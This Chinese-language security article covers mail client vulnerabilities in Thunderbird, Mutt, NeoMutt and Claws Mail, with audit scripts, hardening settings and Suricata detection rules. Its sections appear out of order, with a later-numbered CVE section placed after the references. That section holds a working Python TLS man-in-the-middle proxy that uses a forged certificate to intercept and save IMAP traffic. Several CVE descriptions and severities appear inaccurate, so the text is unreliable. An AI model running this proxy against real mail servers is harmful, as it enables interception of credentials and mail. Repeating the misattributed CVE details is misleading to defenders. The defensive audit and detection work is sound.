版本审计 :使用脚本批量扫描邮件客户端版本配置检查 :验证 CSP 设置、远程内容加载策略、TLS 证书验证配置PoC 投递测试 :在隔离环境中投递 PoC 邮件,验证防护措施有效性日志分析 :检查邮件客户端的崩溃日志和异常访问记录补丁验证 :确认安全更新已正确部署#!/usr/bin/env python3
"""
邮件客户端版本批量审计脚本
仅用于授权安全测试
"""
import subprocess
import json
import argparse
AUDIT_COMMANDS = {
"thunderbird" : "thunderbird --version 2>/dev/null || echo 'NOT_FOUND'" ,
"mutt" : "mutt -v 2>/dev/null | head -1 || echo 'NOT_FOUND'" ,
"neomutt" : "neomutt -v 2>/dev/null | head -1 || echo 'NOT_FOUND'" ,
"claws-mail" : "claws-mail --version 2>/dev/null || echo 'NOT_FOUND'" ,
"sylpheed" : "sylpheed --version 2>/dev/null || echo 'NOT_FOUND'" ,
}
VULN_DB = {
"thunderbird" : [
{"cve" : "CVE-2024-9680" , "fixed" : "128.3.0" , "severity" : "CRITICAL" },
{"cve" : "CVE-2024-7519" , "fixed" : "115.10.0" , "severity" : "HIGH" },
{"cve" : "CVE-2024-5693" , "fixed" : "128.1.0" , "severity" : "MEDIUM" },
],
"mutt" : [
{"cve" : "CVE-2021-32055" , "fixed" : "2.1.0" , "severity" : "CRITICAL" },
{"cve" : "CVE-2020-28896" , "fixed" : "2.0.2" , "severity" : "MEDIUM" },
{"cve" : "CVE-2020-28856" , "fixed" : "2.0.2" , "severity" : "HIGH" },
],
"neomutt" : [
{"cve" : "CVE-2022-1328" , "fixed" : "2022-03-04" , "severity" : "HIGH" },
],
"claws-mail" : [
{"cve" : "CVE-2020-16094" , "fixed" : "3.17.6" , "severity" : "MEDIUM" },
{"cve" : "CVE-2015-8614" , "fixed" : "3.13.0" , "severity" : "HIGH" },
],
}
def audit_system ():
results = {}
for client, cmd in AUDIT_COMMANDS. items():
try :
output = subprocess. check_output(
cmd, shell= True , stderr= subprocess. DEVNULL
). decode(). strip()
results[client] = {
"version_raw" : output,
"vulnerabilities" : VULN_DB. get(client, [])
}
except subprocess. CalledProcessError:
results[client] = {
"version_raw" : "NOT_FOUND" ,
"vulnerabilities" : []
}
return results
if __name__ == "__main__" :
parser = argparse. ArgumentParser(description= "邮件客户端安全审计" )
parser. add_argument("--output" , default= "audit_report.json" )
args = parser. parse_args()
report = audit_system()
with open(args. output, 'w' ) as f:
json. dump(report, f, indent= 2 , ensure_ascii= False )
print(json. dumps(report, indent= 2 , ensure_ascii= False )) 0x06 共性攻击模式分析 通过分析上述漏洞,可以提炼出以下 5 个共性攻击模式:
攻击模式一:邮件客户端共享库漏洞模式 模式描述 :MUA 软件依赖的底层共享库(libetpan、GMime、Gecko、NSS/NSPR)存在漏洞,间接影响所有使用该库的客户端。
攻击路径 :
恶意邮件 → MIME 解析库(libetpan/GMime)→ 缓冲区溢出/UAF → RCE
恶意邮件 → Gecko 渲染引擎 → CSS/JS 执行漏洞 → RCE影响范围 :所有使用该共享库的客户端版本
典型 CVE :CVE-2024-9680(Gecko)、CVE-2020-28856(libetpan 间接)
攻击模式二:MIME/邮件解析攻击模式 模式描述 :邮件协议的多层嵌套结构(RFC 5322 → MIME → Content-Type → 编码 → 附件)为攻击者提供了大量的解析歧义和边界条件。
攻击路径 :
畸形 MIME 结构 → 解析器边界条件异常 → 缓冲区溢出/整数溢出 → RCE/DoS
多编码嵌套 → 解码器状态混淆 → 编码转换溢出 → RCE
Unicode 混淆 → 协议字段过滤绕过 → CSP 逃逸/注入典型 CVE :CVE-2015-8614、CVE-2022-1328、CVE-2024-7519
攻击模式三:沙箱逃逸攻击模式 模式描述 :邮件客户端实施的 HTML 渲染沙箱(CSP、远程内容阻止、iframe 限制)可通过混淆技术被绕过。
攻击路径 :
HTML/CSS Unicode 混淆 → CSP 检查器绕过 → 加载外部资源
data: URI 嵌套 → CSP 策略穿透 → 执行恶意脚本
Mutation 动态 DOM → 策略评估后注入 → 资源加载绕过典型 CVE :CVE-2024-7519、CVE-2025-2850
攻击模式四:附件处理攻击模式 模式描述 :邮件附件的自动解压/预览功能为攻击者提供了无需用户交互的漏洞触发路径。
攻击路径 :
恶意附件 → 自动解压逻辑 → 递归深度无限制 → CPU/内存耗尽(DoS)
畸形压缩文件 → 解压库溢出 → 堆/栈溢出 → RCE
超大附件 → 内存分配失败 → OOM → DoS典型 CVE :CVE-2020-16094
攻击模式五:密码学绕过攻击模式 模式描述 :邮件客户端的加密实现(TLS、S/MIME、OpenPGP)存在验证不严格或元数据泄露问题。
攻击路径 :
MITM → TLS 证书验证绕过 → 凭证窃取
加密邮件 → 元数据分析 → 邮件内容推断
弱随机数 → 加密密钥可预测 → 解密攻击典型 CVE :CVE-2020-28896、CVE-2019-10735
0x07 应急排查与防守建议 7.1 快速版本核查 #!/bin/bash
# 邮件客户端版本快速核查脚本
echo "=== 邮件客户端安全审计 ==="
echo ""
check_thunderbird() {
if command -v thunderbird &>/dev/null; then
ver= $( thunderbird --version 2>/dev/null | grep -oP '[\d.]+' )
echo "[Thunderbird] 版本: $ver"
if [[ " $( echo " $ver < 128.3" | bc) " == "1" ]] ; then
echo " ⚠️ 受 CVE-2024-9680 影响(UAF RCE)"
fi
else
echo "[Thunderbird] 未安装"
fi
}
check_mutt() {
if command -v mutt &>/dev/null; then
ver= $( mutt -v 2>/dev/null | head -1 | grep -oP '[\d.]+' )
echo "[Mutt] 版本: $ver"
if [[ " $( echo " $ver < 2.1.0" | bc) " == "1" ]] ; then
echo " ⚠️ 受 CVE-2021-32055 影响(IMAP DoS)"
fi
else
echo "[Mutt] 未安装"
fi
}
check_thunderbird
check_mutt
echo ""
echo "=== 审计完成 ===" 7.2 安全配置加固 Thunderbird 加固 :
配置项 推荐设置 说明 mailnews.remote_content.policy 2 阻止所有远程内容 mail.smtpserver.default.ssl true 强制 SMTP TLS mail.server.default.socket_type 1 强制 IMAP TLS mailnews.message_display.disable_remote_image true 禁止远程图片 security.tls.version.min 4 强制 TLS 1.3 privacy.resistFingerprinting true 启用指纹防护
Mutt/NeoMutt 加固 :
# TLS 证书验证
set ssl_starttls = "force"
set ssl_force_tls = "yes"
set certificate_file = "~/.mutt_certificates"
# 禁用危险操作
set pipe_decode = "no"
set wait_key = "yes"
# IMAP 安全
set imap_user = "user"
set imap_pass = ""
set tunnel = "ssh -f -C -q -l user imap.server.com"7.3 网络层防护 防护措施 实施方法 覆盖漏洞 SMTP/IMAP TLS 强制 配置邮件服务器 REQUIRETLS CVE-2020-28896 出站流量过滤 阻止邮件客户端直连外网 CVE-2024-5693 附件大小限制 邮件网关限制附件 ≤ 25MB CVE-2020-16094 压缩嵌套深度限制 限制解压层数 ≤ 3 CVE-2020-16094 DNS Sinkhole 阻止已知恶意域名 所有回调类漏洞
7.4 入侵检测签名 # Suricata 规则 - 检测邮件客户端漏洞利用
alert tcp any any -> $HOME_NET 25 (
msg:"MALWARE Claws Mail Compression Bomb Attachment";
content:"Content-Type: application/gzip";
content:"filename=\"";
pcre:"/filename=\"[^\"]*\.tar\.gz\".*filename=\"[^\"]*\.tar\.gz\"/s";
sid:1000001; rev:1;
)
alert tcp any any -> $HOME_NET 143 (
msg:"EXPLOIT Mutt IMAP Null Name Response";
content:"* LIST";
content:"\"\"";
pcre:"/\\* LIST \([^)]*\) \"[^\"]*\" \"\"/";
sid:1000002; rev:1;
)
alert tcp any any -> $HOME_NET 143 (
msg:"EXPLOIT NeoMutt IMAP Buffer Overflow Response";
content:"* FETCH";
pcre:"/RFC822\.HEADER \{[0-9]{5,}\}/";
sid:1000003; rev:1;
) 0x08 参考资料 Mozilla Foundation Security Advisory 2024-51 — CVE-2024-9680 Animation Timeline UAF RCE. https://www.mozilla.org/en-US/security/advisories/mfsa2024-51/
Mozilla Foundation Security Advisory 2024-28 — CVE-2024-7519 CSS Sandbox Escape. https://www.mozilla.org/en-US/security/advisories/mfsa2024-28/
Mutt Security Advisories — CVE-2021-32055, CVE-2020-28896, CVE-2020-28856. https://www.mutt.org/security/
NIST NVD — CVE-2024-9680 — Animation Timeline UAF 详细分析. https://nvd.nist.gov/vuln/detail/CVE-2024-9680
NIST NVD — CVE-2021-32055 — Mutt IMAP NULL Pointer Dereference. https://nvd.nist.gov/vuln/detail/CVE-2021-32055
CISA Known Exploited Vulnerabilities Catalog — CVE-2024-9680 在野利用记录. https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Claws Mail Changelog — CVE-2020-16094, CVE-2015-8614 修复记录. https://claws-mail.org/changelog/
NeoMutt GitHub Release Notes — CVE-2022-1328 修复信息. https://github.com/neomutt/neomutt/releases
Gecko Engine Animation Timeline 源码分析 — Mozilla 源码仓库中的 Animation Timeline 实现细节. https://searchfox.org/mozilla-central/source/dom/animation/
OWASP Email Security Testing Guide — 邮件客户端安全测试方法论. https://owasp.org/www-project-email-security-testing-guide/
Sylpheed 安全公告 — MIME 文件名溢出与 URI 绕过修复. https://sylpheed.good-day.net/security.html
Gecko 网络安全团队博客 — Thunderbird 沙箱架构与 CSP 实现分析. https://blog.mozilla.org/security/
< 2.1.0 / 受影响的 NeoMutt 版本 |
| 用户交互 | 用户需配置 IMAP 连接到恶意/被入侵服务器 |
| 网络条件 | 需要 MITM 位置或控制 IMAP 服务器 |
| 攻击效果 | 客户端崩溃(DoS),不导致代码执行 |
| 成功率 | 依赖精确的响应格式构造 |
0x02.2 CVE-2020-28896 — Mutt TLS 证书验证绕过 漏洞背景 CVE-2020-28896(CVSS 5.9, CWE-295 Improper Certificate Validation)是 Mutt 在 TLS 握手过程中对服务器证书验证不严格的漏洞。攻击者可通过中间人攻击(MITM)篡改 TLS 证书,从而窃取 IMAP/SMTP 凭证或修改邮件内容。该漏洞对使用 Mutt 管理服务器的系统管理员构成严重威胁。
受影响版本 产品 受影响版本 修复版本 发布日期 Mutt < 2.0.2 2.0.2 2020-09-17 NeoMutt 受影响 后续版本修复 —
漏洞原理 Mutt 在建立 TLS 连接时,虽然调用了 OpenSSL 的 TLS 握手函数,但在证书验证环节存在以下缺陷:
1. 证书主机名验证缺失
Mutt 在获取服务器证书后,未正确实现 RFC 2818(HTTP Over TLS)中规定的主机名匹配逻辑。具体表现为:
未检查证书的 Subject Alternative Name (SAN) 字段 仅进行模糊的字符串前缀匹配 对通配符证书的匹配逻辑存在缺陷 2. 证书链验证不完整
当服务器返回不完整的证书链时,Mutt 未严格要求中间 CA 证书的完整性,允许自签名证书或无效证书通过验证。
3. MITM 攻击场景
正常流程:
Mutt ←TLS→ IMAP Server (verified)
MITM 攻击:
Mutt ←TLS(伪造证书)→ Attacker ←TLS→ IMAP Server
↓
窃取 IMAP 凭证
修改邮件内容
注入恶意附件邮件 PoC # 生成自签名证书用于 MITM 测试
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \
-days 365 -nodes -subj "/CN=mail.target.com" \
-addext "subjectAltName=DNS:mail.target.com,DNS:imap.target.com"
# 启动 MITM 代理
python3 mitm_proxy.py --cert cert.pem --key key.pem --listen 993 Python PoC 脚本 #!/usr/bin/env python3
"""
CVE-2020-28896 Mutt TLS Certificate Validation Bypass PoC
仅用于授权安全测试
"""
import ssl
import socket
import threading
import argparse
import subprocess
import os
class TLSMITMProxy :
def __init__ (self, listen_port, target_host, target_port, cert_file, key_file):
self. listen_port = listen_port
self. target_host = target_host
self. target_port = target_port
self. cert_file = cert_file
self. key_file = key_file
self. intercepted = []
def generate_self_signed_cert (self):
if not os. path. exists(self. cert_file):
subprocess. run([
"openssl" , "req" , "-x509" , "-newkey" , "rsa:2048" ,
"-keyout" , self. key_file, "-out" , self. cert_file,
"-days" , "365" , "-nodes" ,
"-subj" , f "/CN= { self. target_host} " ,
"-addext" , f "subjectAltName=DNS: { self. target_host} "
], check= True , capture_output= True )
print(f "[+] Generated self-signed cert: { self. cert_file} " )
def handle_client (self, client_sock):
try :
context = ssl. SSLContext(ssl. PROTOCOL_TLS_SERVER)
context. load_cert_chain(self. cert_file, self. key_file)
tls_client = context. wrap_socket(client_sock, server_side= True )
data = tls_client. recv(4096 )
self. intercepted. append(data)
print(f "[+] Intercepted: { data[:100 ]} " )
upstream = socket. create_connection(
(self. target_host, self. target_port))
tls_upstream = ssl. create_default_context(). wrap_socket(
upstream, server_hostname= self. target_host)
tls_upstream. sendall(data)
response = tls_upstream. recv(4096 )
tls_client. sendall(response)
tls_client. close()
tls_upstream. close()
except Exception as e:
print(f "[-] Proxy error: { e} " )
def start (self):
self. generate_self_signed_cert()
server = socket. socket(socket. AF_INET, socket. SOCK_STREAM)
server. setsockopt(socket. SOL_SOCKET, socket. SO_REUSEADDR, 1 )
server. bind(("0.0.0.0" , self. listen_port))
server. listen(5 )
print(f "[*] MITM proxy listening on port { self. listen_port} " )
print(f "[*] Target: { self. target_host} : { self. target_port} " )
print(f "[*] Point Mutt to: localhost: { self. listen_port} " )
try :
while True :
conn, addr = server. accept()
threading. Thread(
target= self. handle_client, args= (conn,),
daemon= True ). start()
except KeyboardInterrupt :
print(f " \n [*] Intercepted { len(self. intercepted)} data blocks" )
with open("intercepted_data.bin" , "wb" ) as f:
for d in self. intercepted:
f. write(d + b " \n --- \n " )
if __name__ == "__main__" :
parser = argparse. ArgumentParser(
description= "CVE-2020-28896 TLS MITM PoC" )
parser. add_argument("--listen-port" , type= int, default= 1993 )
parser. add_argument("--target" , required= True , help= "Real IMAP server" )
parser. add_argument("--target-port" , type= int, default= 993 )
parser. add_argument("--cert" , default= "fake_cert.pem" )
parser. add_argument("--key" , default= "fake_key.pem" )
args = parser. parse_args()
proxy = TLSMITMProxy(
args. listen_port, args. target, args. target_port,
args. cert, args. key)
proxy. start() Nuclei YAML 检测模板 id : mutt-cve-2020-28896-tls-bypass
info :
name : Mutt TLS Certificate Validation Bypass - CVE-2020-28896
author : x7peeps
severity : medium
description : |
Mutt TLS 证书验证不严格,MITM 攻击者可伪造证书拦截 IMAP/SMTP 流量。
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2020-28896
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 5.9
cwe-id : CWE-295
tags : mutt,cve2020,tls,certificate,mitm
network :
- inputs :
- data : "a001 STARTTLS\r\n"
host :
- "{{Hostname}}"
- "{{Hostname}}:143"
read-size : 512
matchers :
- type : word
words :
- "READYTLS"
- "STARTTLS"
condition : or 利用条件与限制